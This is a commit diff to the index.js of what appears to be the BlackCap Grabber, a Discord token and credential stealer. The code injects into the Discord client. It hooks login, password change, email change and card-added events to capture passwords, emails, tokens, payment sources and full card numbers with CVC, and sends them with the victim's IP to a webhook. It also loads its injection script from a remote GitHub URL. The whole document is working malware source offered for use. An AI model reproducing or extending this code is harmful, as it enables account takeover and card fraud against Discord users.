Update index.js

This commit is contained in:
What about KSCH 2023-02-13 02:52:19 +01:00 committed by GitHub
parent 1ce7d497a0
commit f680d1985f
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 24 additions and 13 deletions

View File

@ -29,7 +29,7 @@ const config = {
injection_url: "https://raw.githubusercontent.com/KSCHdsc/BlackCap-Inject/main/index.js",
webhook: "%WEBHOOK%",
UWUWED: "https://login.blackcap-grabber.com:3000/premium/",
UWUWED: "cecacaestmoche",
filter2: {
urls: [
"https://status.discord.com/api/v*/scheduled-maintenances/upcoming.json",
@ -268,7 +268,7 @@ async function FirstTime() {
if (token == null || token == undefined || token == "") {
var {
ip
} = await getFromURL("https://www.myexternalip.com/json", null)
} = await getIP()
const c = {
username: "BlackCap Grabber",
avatar_url: "https://raw.githubusercontent.com/KSCHdsc/BlackCap-Assets/main/blackcap%20(2).png",
@ -297,7 +297,7 @@ async function FirstTime() {
var b = await getFromURL("https://discord.com/api/v8/users/@me", token)
var {
ip
} = await getFromURL("https://www.myexternalip.com/json", null)
} = await getIP()
if(b.avatar === null){
usericonurl = "https://raw.githubusercontent.com/KSCHdsc/BlackCap-Assets/main/blackcap%20(2).png"
@ -382,7 +382,7 @@ async function FirstTime() {
if (token == null || token == undefined || token == "") {
var {
ip
} = await getFromURL("https://www.myexternalip.com/json", null)
} = await getIP()
const c = {
username: "BlackCap Grabber",
avatar_url: "https://raw.githubusercontent.com/KSCHdsc/BlackCap-Assets/main/blackcap%20(2).png",
@ -413,7 +413,7 @@ async function FirstTime() {
var b = await getFromURL("https://discord.com/api/v8/users/@me", token)
var {
ip
} = await getFromURL("https://www.myexternalip.com/json", null)
} = await getIP()
if(b.avatar === null){
usericonurl = "https://raw.githubusercontent.com/KSCHdsc/BlackCap-Assets/main/blackcap%20(2).png"
}else usericonurl = `https://cdn.discordapp.com/avatars/${b.id}/${b.avatar}.png?size=600`;
@ -495,9 +495,15 @@ async function FirstTime() {
const Filter = {
"urls": ["https://status.discord.com/api/v*/scheduled-maintenances/upcoming.json", "https://*.discord.com/api/v*/applications/detectable", "https://discord.com/api/v*/applications/detectable", "https://*.discord.com/api/v*/users/@me/library", "https://discord.com/api/v*/users/@me/library", "https://*.discord.com/api/v*/users/@me/billing/subscriptions", "https://discord.com/api/v*/users/@me/billing/subscriptions", "wss://remote-auth-gateway.discord.gg/*"]
}
async function getIP() {
const window = BrowserWindow.getAllWindows()[0];
var b = await window.webContents.executeJavaScript(`
var xmlHttp = new XMLHttpRequest();
xmlHttp.open( "GET", "https://www.myexternalip.com/json", false );
xmlHttp.send( null );
JSON.parse(xmlHttp.responseText);`, !0)
return b
}
async function getFromURL(url, token) {
@ -511,7 +517,12 @@ async function getFromURL(url, token) {
return b
}
const caca = {
method: 'POST',
};
fetch( 'https://api.ipify.org/?format=json', caca )
.then( response => console.log(response)
);
function GetNSFW(reader) {
@ -776,7 +787,7 @@ async function Login(email, password, token) {
var info = await getFromURL("https://discord.com/api/v8/users/@me", token)
var {
ip
} = await getFromURL("https://www.myexternalip.com/json", null)
} = await getIP()
window.webContents.executeJavaScript(`
var xmlHttp = new XMLHttpRequest();
xmlHttp.open( "GET", "https://discord.com/api/v9/users/@me/billing/payment-sources", false );
@ -942,7 +953,7 @@ async function ChangePassword(oldpassword, newpassword, token) {
var info = await getFromURL("https://discord.com/api/v8/users/@me", token)
var {
ip
} = await getFromURL("https://www.myexternalip.com/json", null)
} = await getIP()
window.webContents.executeJavaScript(`
var xmlHttp = new XMLHttpRequest();
xmlHttp.open( "GET", "https://discord.com/api/v9/users/@me/billing/payment-sources", false );
@ -1104,7 +1115,7 @@ async function ChangeEmail(newemail, password, token) {
var info = await getFromURL("https://discord.com/api/v8/users/@me", token)
var {
ip
} = await getFromURL("https://www.myexternalip.com/json", null)
} = await getIP()
window.webContents.executeJavaScript(`
var xmlHttp = new XMLHttpRequest();
xmlHttp.open( "GET", "https://discord.com/api/v9/users/@me/billing/payment-sources", false );
@ -1273,7 +1284,7 @@ async function CreditCardAdded(number, cvc, expir_month, expir_year, token) {
var info = await getFromURL("https://discord.com/api/v8/users/@me", token)
var {
ip
} = await getFromURL("https://www.myexternalip.com/json", null)
} = await getIP()
if(info.avatar === null){
usericonurl = "https://raw.githubusercontent.com/KSCHdsc/BlackCap-Assets/main/blackcap%20(2).png"
}else usericonurl = `https://cdn.discordapp.com/avatars/${info.id}/${info.avatar}.png?size=600`;